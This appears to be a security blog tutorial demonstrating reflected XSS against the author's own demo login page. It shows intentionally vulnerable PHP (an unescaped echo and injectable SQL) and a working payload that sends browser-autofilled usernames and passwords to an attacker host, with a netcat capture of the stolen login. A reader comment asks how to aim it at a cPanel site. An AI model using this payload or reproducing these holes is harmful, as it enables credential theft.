XSS Password Stealing – Who needs cookies?!

Most people are already aware of using XSS to pop alerts or steal cookies. Today I’d like to show XSS password stealing.

XSS Password Stealing – Introduction

While stealing credentials with XSS is a bit more difficult, the pay off is even greater. You do not need to worry about cookies becoming invalid, and there’s always the chance of reused credentials.

For another fun example, you can check out this blog post.

YouTube Version of this Post

If you prefer a video over reading the text, then you can find the YouTube version of this post below.

That said, don’t forget to hit those like and subscribe buttons to help support the blog and channel!

Vulnerable Application

The application I will be attacking is a slightly modified version of one of my demo pages.

I borrowed the index.php file from a LASACTF challenge and edited for this attack.

      <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
    <div class="container">
        <div class="row">
          <div class="col-md-8 col-md-offset-2">

                <h3>Log In</h3>

                <form action="login.php" method="POST" onsubmit="return checkValid()">
                        <div class="form-group">
                            <label for="username">Username:</label>
                            <input type="text" id="username" name="username" class="form-control">
                        <div class="form-group">
                            <label for="password">Password:</label>
                            <div class="controls">
                                <input type="password" id="password" name="password" class="form-control">
                        <div class="form-actions">
                            <input type="submit" value="Login" class="btn btn-primary">
    $lang = $_GET['lang'];
    echo "<i>Your current language is $lang</i>"
    <!-- Example from LASACTF - https://github.com/LASACTF/LASACTF-Problems/blob/master/Problems/Web%20Exploitation/client-side/webroot/index.html -->

Login.php is a simple CTF login that will display a flag upon success. While this is vulnerable to SQL injection, this is not the attack I’m going to demonstrate.

    include "app/config.php";
    $con = new SQLite3($database_file);
    $username = $_POST["username"];
    $password = $_POST["password"];
    $query = "SELECT * FROM users WHERE name='$username' AND password='$password'";
    $result = $con->query($query);
    $row = $result->fetchArray();
    if ($row) {
      echo "<h1>Logged in!</h1>";
      echo "<p>Your flag is: $FLAG</p>";
    } else {
      echo "<h1>Login failed.</h1>";

While not necessary for this vulnerability, app/config.php contains the flag and the DB file’s location.

    $database_file = "app/users.db";
    $FLAG = "CTFs{inj3ction_fl4g}"

Other than that, you will need a SQLite database containing user information for the application to properly function. If you’d like to just follow along, I’ve included the one that I’m using below.


Vulnerability – XSS

If you did not notice earlier, the lang parameter is vulnerable to an XSS attack.

XSS Password Stealing - Lang

After modifying the language parameter slightly, an alert pop-up appears.

XSS Password Stealing - Alert 1

Saving Credentials

In this case, the attack will be against the browser’s saved credentials.

First, I obtained the username and password from the SQLite database for a proper login.

[email protected]:~/passSteal/app# sqlite3 users.db
sqlite> select * from users;

With the proper credentials in hand, I logged into the application. When prompted, I had the browser remember this login.

XSS Password Stealing - Remember

The next time I loaded up index.php, my credentials were already populated as expected.

Firefox Saved login

XSS Password Stealing – The Attack

In this case, if our victim has credentials saved in their browser, then we can steal them with XSS.

First, we need a duplicated copy of the login form (for the browser to auto-populate). Other than that, we just need a JavaScript function to actually grab the credentials and send them back to us.

Our final payload will look something like this:

<body onload='stealCreds();'>
<div style="opacity:0;">
    <input type="text" name="username" id="username" />
    <input type="password" name="password" id="password" />
    function stealCreds(){
      var user = document.getElementById('username').value;
      var pass = document.getElementById('password').value;
      new Image().src="" + user + "&p=" + pass;

Once I had my payload in hand, I URL encoded it to make pasting it into the browser a bit simpler.


Upon loading the page with our new malicious lang parameter, the browser injected our new code.

XSS Password Stealing - stealCreds

Additionally, the application sent the stored creds over the wire to our attacking machine!

[email protected]:~/passSteal# nc -lvp 80
listening on [any] 80 ...
connect to [] from kali [] 43210
GET /login?u=admin&p=bsides_passw0rd HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1234/?lang=en%22%3e%3c%2f%62%6f%64%79%3e%0a%3c%62%6f%64%79%20%6f%6e%6c%6f%61%64%3d%27%73%74%65%61%6c%43%72%65%64%73%28%29%3b%27%3e%0a%3c%64%69%76%20%73%74%79%6c%65%3d%22%6f%70%61%63%69%74%79%3a%30%3b%22%3e%0a%20%20%3c%66%6f%72%6d%3e%0a%20%20%20%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%74%65%78%74%22%20%6e%61%6d%65%3d%22%75%73%65%72%6e%61%6d%65%22%20%69%64%3d%22%75%73%65%72%6e%61%6d%65%22%20%2f%3e%0a%20%20%20%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%70%61%73%73%77%6f%72%64%22%20%6e%61%6d%65%3d%22%70%61%73%73%77%6f%72%64%22%20%69%64%3d%22%70%61%73%73%77%6f%72%64%22%20%2f%3e%0a%20%20%3c%2f%66%6f%72%6d%3e%0a%20%20%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%65%61%6c%43%72%65%64%73%28%29%7b%0a%20%20%20%20%20%20%2f%2f%76%61%72%20%74%20%3d%20%6e%65%77%20%44%61%74%65%28%29%2e%67%65%74%54%69%6d%65%20%2b%20%32%30%30%30%3b%0a%20%20%20%20%20%20%2f%2f%77%68%69%6c%65%28%6e%65%77%20%44%61%74%65%28%29%2e%67%65%74%54%69%6d%65%28%29%20%3c%20%74%29%7b%7d%0a%20%20%20%20%20%20%76%61%72%20%75%73%65%72%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%75%73%65%72%6e%61%6d%65%27%29%2e%76%61%6c%75%65%3b%0a%20%20%20%20%20%20%76%61%72%20%70%61%73%73%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%70%61%73%73%77%6f%72%64%27%29%2e%76%61%6c%75%65%3b%0a%20%20%20%20%20%20%6e%65%77%20%49%6d%61%67%65%28%29%2e%73%72%63%3d%22%68%74%74%70%3a%2f%2f%31%30%2e%30%2e%32%2e%31%35%2f%6c%6f%67%69%6e%3f%75%3d%22%20%2b%20%75%73%65%72%20%2b%20%22%26%70%3d%22%20%2b%20%70%61%73%73%3b%0a%20%20%20%20%7d%0a%20%20%3c%2f%73%63%72%69%70%74%3e%0a%3c%2f%64%69%76%3e%0a
Connection: keep-alive

XSS Password Stealing – Conclusion

While this attack requires XSS on the login page AND saved user credentials, hopefully I demonstrated its severity.

Note that, in some cases, you will want to add a delay to the stealCreds method. The reason for this is that the browser might not fully load somewhere, and the browser will not auto-populate the creds by the time everything loads.

Other than that, remember you can shorten this payload using techniques similar to the Short XSS attack.


  1. Am I to add this to the login page or what?

    function stealCreds(){
    var user = document.getElementById(‘username’).value;
    var pass = document.getElementById(‘password’).value;
    new Image().src=”” + user + “&p=” + pass;

    And also can i replace this {} with a cpanel web address

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM